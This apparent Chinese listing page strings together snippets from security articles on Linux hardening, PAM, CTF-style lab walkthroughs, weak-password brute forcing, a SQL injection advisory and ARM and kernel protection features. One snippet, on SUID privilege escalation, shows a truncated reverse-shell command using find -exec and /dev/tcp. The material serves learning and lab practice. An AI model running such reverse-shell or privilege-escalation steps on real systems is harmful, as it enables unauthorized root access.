Linux系统安全及应用
本文介绍了系统安全和应用，详细阐释了如何加固系统安全以及PAM安全验证机制等等，希望对你有帮助！
Linux系统安全及应用
控制类型也称做Control Flags，用于PAM验证类型的返回结果。
[知识点整理]中科院/国科大 网络与系统安全 期末考试知识点整理
本文为2022秋网络与系统安全课程期末复习知识点整理
linux系统安全及应用
注意：su 切换新用户后，使用 exit 退回至旧的用户身份，而不要再用 su 切换至旧用户，否 则会生成很多的bash子进程，环境可能会混乱。当用户 来访问某一程序的时候，如果这个程序启用了 pam模块，会先去读取配置文件，然后按照配置文件调用模块，进行操作。功能：在用户级别实现对其可使用的资源
Linux系统安全
将用户设置为无法登陆锁定账户删除账户锁定账户密码 本地锁定。
Linux利用Suid提权实验
普通用户在执行特殊的Suid命令的时候(如：find、vim、less、more等)，命令会自动申请管理员权限，并以管理员的权限去执行命令，当用户在这种拥有可以再执行命令的命令下(如：vim)执行特殊命令(如：!find 当前目录下的文件 -execbash-i >& /dev/tcp/192.16
靶机DC-1 WP
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题，例如各种操作系统的漏洞，Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值，因为它们可以帮
kali linux网络安全弱口令爆破常用命令（二）
kali网络安全弱口令爆破 ssh爆破 字典爆破常用命令和操作
windows 安全中心/Defender 存在威胁（历史记录），但点执行操作无反应，一直存在红叉
windows安全中心一直显示一个红叉，有一个威胁存在（可能这个威胁发现的时间很久之前，并不一定是当时扫描出来的），推荐你执行操作，但点击执行操作后无任何反应，威胁依然存在，删除安全中心DetectionHistory却出现权限问题无法删除，本文通过开启安全模式解决权限问题从而删除安全中心Detec
信息系统安全实验之基于国产麒麟操作系统的基线检查工具综合实验
可以看到除了root用户和自设用户以外，其他用户的口令字段均为“*”或者“!”，表明该账号已被锁定或者该口令已经过期，因此系统不存在空口令用户。原因：由于该虚拟机是从别人那里拷贝过来的，而该虚拟机环境之前使用的VMware版本与我的VMware版本（16）不一致。可以看到口令最大使用期限为99999
车联网安全学习路标
首先，你需要全面了解汽车和物联网的基础知识，包括汽车电子体系结构、车载通信技术（如CAN、LIN、FlexRay、Ethernet）以及物联网的架构和通信协议（如MQTT、CoAP）。学习汽车网络安全的基本概念和技术，包括汽车网络攻击表面、入侵检测和预防、网络隔离和安全网关、防护措施（如硬件防火墙、
ARM BTI安全特性使用效果示例
然后，在`Protect`函数中，我们使用`bti`指令来插入BTI保护。在这个示例中，`vulnerable_func`函数中的汇编代码使用`pop {pc}`指令，该指令从堆栈中弹出一个值，并将其作为程序计数器（PC）的值，从而可以将执行流转移到攻击者控制的代码段，从而进行恶意操作。在这个示例中
ARM64安全特性之MTE
MTE使用内存标签来追踪和保护内存操作，以帮助检测和防御缓冲区溢出、使用-after-free等内存相关的安全漏洞。在代码中，开发者需要对需要进行内存标记的区域进行明确的标记。在需要使用带有标签的内存的地方，开发者需要读取和验证内存标记。在使用带有标记的内存时，需要使用相应的内存访问指令来读取和验证
金山终端安全系统V9.0 update_software_info_v2.php处SQL注入漏洞分析
近期，长亭科技监测到猎鹰安全（原金山安全）官方发布了新版本修复了一处SQL注入漏洞。金山终端安全系统是一款为企业提供终端防护的安全产品，针对恶意软件、病毒和外部攻击提供防范措施，帮助维护企业数据和网络。该漏洞是由于金山终端安全系统未对用户的输入进行有效地过滤，直接将其拼接进了SQL查询语句中，导致系
vulnhub靶机dpwwn1
下载完后解压，然后用VMware打开dpwwn-01.vmx文件即可导入虚拟机。80端口没有更多收获，接下来把目光转向3306和ssh端口，尝试爆破账号密码。果然如此，规则是每3分钟，以root身份执行一次logrot.sh脚本。以上没有发现什么有用的信息，继续用nmap漏洞脚本扫描。目录下有一个s
Linux 5.15安全特性之landlock
这个示例代码使用了系统调用函数`syscall`，并通过`SYS_landlock_create_ruleset`、`SYS_landlock_add_rule`和`SYS_landlock_restrict_self`指定了Landlock规则，创建了一个Landlock域，并将当前进程限制在该域
金山终端安全系统V9.0 update_software_info_v2.php处SQL注入漏洞复现 [附POC]
该漏洞是由于金山终端安全系统未对用户的输入进行有效地过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。
gcc安全特性之FORTIFY_SOURCE
FORTIFY_SOURCE在检测到潜在的安全问题时，会触发异常处理机制。在没有启用FORTIFY_SOURCE的情况下，如果输入的字符串超过了`buffer`数组的大小，`strcpy`函数将会发生缓冲区溢出，导致内存越界访问。- 格式化字符串检查：在使用格式化字符串函数（如printf，spri
Linux 5.15安全特性之ARM64 PAC
1. 硬件支持：ARM64架构中引入了一系列新的指令，如指针加密指令（PACIA、PACIB、PACDA、PACDB）和指针验证指令（AUTIA、AUTIA1716、AUTIB、AUTIB1716、AUTDA、AUTDA1716、AUTDB、AUTDB1716），用来处理指针的加密和验证。需要注意的
前端常见的加密算法介绍
在业务http请求中，AES的密钥在前端随机生成，从服务器获取RSA的公钥，对AES的密钥进行非对称加密，把加密后的密钥在请求头中传给服务器，用AES对body进行加密。服务器收到请求头中的加密后的密钥，用RSA的密钥进行解密，得到明文的AES密钥，即可对body进行解密。md5有校验字符串一致性的
